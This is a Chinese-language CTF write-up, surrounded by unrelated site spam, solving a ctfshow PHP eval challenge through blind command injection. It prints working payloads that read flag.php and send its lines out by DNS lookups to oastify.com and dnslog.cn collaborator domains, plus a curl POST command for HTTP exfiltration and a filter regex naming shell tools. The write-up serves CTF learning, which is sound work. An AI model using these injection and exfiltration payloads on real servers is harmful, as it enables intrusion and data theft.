机票网站建设哈尔滨网站建设

重庆帅能再生资源有限公司 2026/09/09 18:51:59

PS:萌新ctfer的解题过程,如有错误之处恳请师傅们指正

(本题为web133的进阶版,基本过程可见ctfshow-web133)

一:增强过滤

打开靶场,可以看到正则里又过滤了好多东西:

error_reporting(0); highlight_file(__FILE__); //flag.php if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }

其中,这里就有我们之前用的curl,说明这里HTTP 外带(主动把文件内容 POST 到外部服务器)不适用,那么我们就可以换成DNS 外带(把数据拼接到域名里,通过 DNS 解析请求把数据发送出去)。这种方式的最大优势是绕开很多环境限制(比如没有curl/wget、服务器禁止出站 HTTP 请求,但 DNS 请求通常不会被禁)。

二:具体构造

还是一样,先给出我们的payload:

?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd 'a-zA-Z0-9-'`.a8jyvpll7rtaqerbtw8l8qp38uel2cq1.oastify.com

1.总体结构

最开始的?F=`$F`;就是我们上传的F参数,后面的所有都是F里面的内容。

+号是 URL 中空格的编码形式,其中更为常见的是%20,URL中空格是不允许直接出现的,所以这里就用+来表示一下;而ping是Linux 的网络测试命令,在这里的核心作用是触发 DNS 请求:

  • 当执行ping xxx.oastify.com时,操作系统会先向 DNS 服务器发送请求,查询xxx.oastify.com的 IP 地址(这就是 DNS 解析)。
  • xxx正是我们从flag.php中提取的 flag 内容,这样 DNS 服务器就会记录下这个包含 flag 的域名请求,我们就能在 oastify 平台上看到 flag 了。

后面的就是提取flag的核心命令了

2.核心命令

?F=`$F`;+ping `nl flag.php|awk 'NR==15'|tr -cd 'a-zA-Z0-9-'`.coma8jyvpll7rtaqerbtw8l8qp38uel2cq1.oastify.com

1.nl flag.php:给文件的每一行添加行号

  • nl:是number lines的缩写,中文叫 “行号打印命令”,作用是读取文件内容,给每一行加上行号 + 空格后输出。
  • 为什么用nl:因为 CTF 中flag.php里的 flag 通常在某一行固定位置(比如第 15 行),加行号后才能用后续命令精准定位行号。

(注意这里的flag的行数是要自己一一试出来的,可以在BP里的Reapeater更改)

2.awk 'NR==15':只提取第 15 行的内容

  • awk:是 Linux 中处理文本的核心工具,能按行、按列解析文本内容,功能非常强大
  • NR:是awk的内置变量,代表当前处理的行号(Number of Record)。
  • NR==15:是awk的条件判断,意思是 “只处理行号等于 15 的那一行,其他行都忽略”

3.tr -cd 'a-zA-Z0-9-':过滤掉非指定的字符

  • tr:是translate的缩写,中文叫 “字符转换 / 过滤命令”,主要用来替换、删除文本中的字符
  • -c:全称--complement,意思是 “取反”,即匹配不在指定字符集中的字符
  • -d:全称--delete,意思是 “删除”,即删除匹配到的字符。
  • 'a-zA-Z0-9-':指定的字符集,包括:
    • -:短横线(DNS 域名允许包含短横线)
    • 0-9:数字
    • A-Z:大写字母
    • a-z:小写字母
  • 组合起来的意思:删除所有不在a-zA-Z0-9-范围内的字符,只保留这个范围内的字符

4.域名

最后的域名是DNS 数据收集平台分配的专属子域名,由 “唯一随机前缀 + 平台主域名” 组成。

这个域名的核心作用是作为 DNS 请求的目标,让平台记录包含 flag 内容的域名请求

三:获取flag

我们先将我们的payload直接在hackbar里输入,这样后面转到BP里空格和反引号会自动转码,避免兼容性问题。【开代理之后直接execute即可】:

然后我们发送到repeater模块,直接send:

然后我们就可以在collaborator模块里看到部分flag内容:

(这里没有大括号是因为我们把除了数字和字母以外的字符都去掉了,但是不知道为什么字母有大写有小写的,希望知道的师傅能帮我解惑)

注意这里我们找到的只是部分flag【提取的是第15行的内容】,因此后面NR还要改成16,得到第二部分flag如下:

我们将flag进行拼接就可以了,但是总不可能说我将大写字母一个一个都改成小写字母吧,那样还是太吃操作了,所以这时候编程就有大用处了,写一个简单的python转换大小写字母就可以了:

string.lower()就是将大写字母转成小写字母,最后再加上我们的大括号,得到最终flag就可以了。


四:其他方法

看来其他师傅的wp,说也能用cp 和mv来绕过过滤:

?F=`$F`; cp flag.php 2.txt

后面再改成2.txt读取一下就行了:

然后我想着web133是不是也可以用这个方法去做,然后去试了一下,发现没用,可能是文件权限问题或者文件访问限制等,总之也算是拓展一下视野吧。

还有一个是大菜鸡师傅用的是DNSlog,看视频里构造的payload是这样的:

?F=`$F`;ping `nl flag.php|awk 'NR==15'|tr -cd 'a-z0-9-'`.2mseu1.dnslog.cn -c 1

-cping命令的一个核心参数,全称是count(计数),作用是指定ping命令发送的数据包数量

  • ping -c 1 域名/IP:表示只给目标域名 / IP发送 1 个 ping 数据包,发送完成后,ping命令就会立即终止。
  • 如果不加-c参数,在 Linux 系统中,ping命令会一直持续发送数据包(直到按Ctrl+C手动终止)

但是不知道为什么我做不出来,

一直没有显示,希望有知道的师傅能解惑(大菜鸡师傅说网站有问题)

五:结语

通过这道题我们了解了DNS外带:

  • 将处理后的字符串作为子域名
  • 通过ping触发DNS解析请求
  • 在DNS日志平台查看请求记录获取flag

以及通过尝试行号找到flag在哪里,最后则是不同环境下对权限的限制【还是BurpSuite好用】

面对无回显(Blind)漏洞,获取数据的核心思路是:想尽办法让目标服务器主动“告诉”我们。

战术总结

1. 首选:HTTP带外(OOB-HTTP)

· 条件:目标服务器能出网,且有curl、wget等工具。

· 方法:用curl -X POST -F file=@/flag http://your-server将文件内容POST到你的监听服务器。

· 工具:Burp Collaborator、nc监听、公网VPS。

2. 次选:DNS带外(OOB-DNS)

· 条件:HTTP被禁,但DNS解析通常被放过。

· 方法:将数据作为子域名的一部分,通过ping或nslookup触发DNS查询。

· 工具:Burp Collaborator、DNSLog.cn。

3. 备选:时间盲注(Time-Based)

· 条件:完全不出网。

· 方法:通过命令执行的延时(sleep 5)来逐位推断数据,极其缓慢。

选择原则:优先尝试DNS,因为它限制最少;如果不成功,再尝试HTTP。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

学校网站建设衡水网站建设

目录一、核心角色二、代理模式的分类关键补充:动态代理(Spring AOP 的底层原理)三、核心作用(解决的问题)四、代理模式 v

2026/06/30 13:31:06

青海网站建设银川网站建设

如何3分钟完成黑苹果EFI配置:OpCore Simplify终极指南【免费下载链接】OpCore-SimplifyA tool designed to simplify the cre

2026/06/30 10:52:22

专业网站建设北京高端网站建设

10 个研究生文献综述工具,AI 写作降重推荐论文路上的“千重山”:研究生的文献综述困境对于许多研究生来说,论文写作从来不是一件轻松的事。尤其是在进行文献综述

2026/06/30 13:44:37

建设部网站建设厅网站首页

1.Linux没有关闭防火墙导致连接失败解决方案:执行一下命令sudo ufw disable2.远程站点为乱码在站点管理器中设置为UTF-8则可解决

2026/06/30 10:52:22

建设部网站莱州网站建设

Kotaemon负载均衡配置:Nginx反向代理设置说明在企业级智能对话系统日益普及的今天,用户对响应速度、服务可用性和系统稳定性的要求越来越高。特别是像Kotaemon这

2026/06/30 11:07:23

桂林网站建设湛江网站建设

在使用电脑系统时经常会出现丢失找不到某些文件的情况,由于很多常用软件都是采用 Microsoft Visual Studio 编写的,所以这类软件的运行需要依赖微软Visu

2026/06/30 13:05:04

建设厅网站商丘网站建设

一、实验核心概述1. 实验目标理解图像分割的核心原理(将图像划分为具有独特性质的区域);掌握经典分割方法:阈值分割(自定义阈值、O

2026/06/30 13:42:37

营销网站建设婚纱摄影网站建设

碳足迹追踪:计算产品全生命周期排放量在碳中和目标席卷全球的今天,企业面临的已不仅是“要不要减排”,而是“如何准确地算出自己排了多少”。从欧盟的《绿色新政》到中

2026/06/30 12:40:02

宁波网站建设福州网站建设

Langchain-Chatchat用于法律文书查询的可行性分析在律师事务所的日常工作中,一个常见的场景是:律师需要快速查找《劳动合同法》中关于经济补偿金的具体计算方式。传

2026/06/30 13:16:35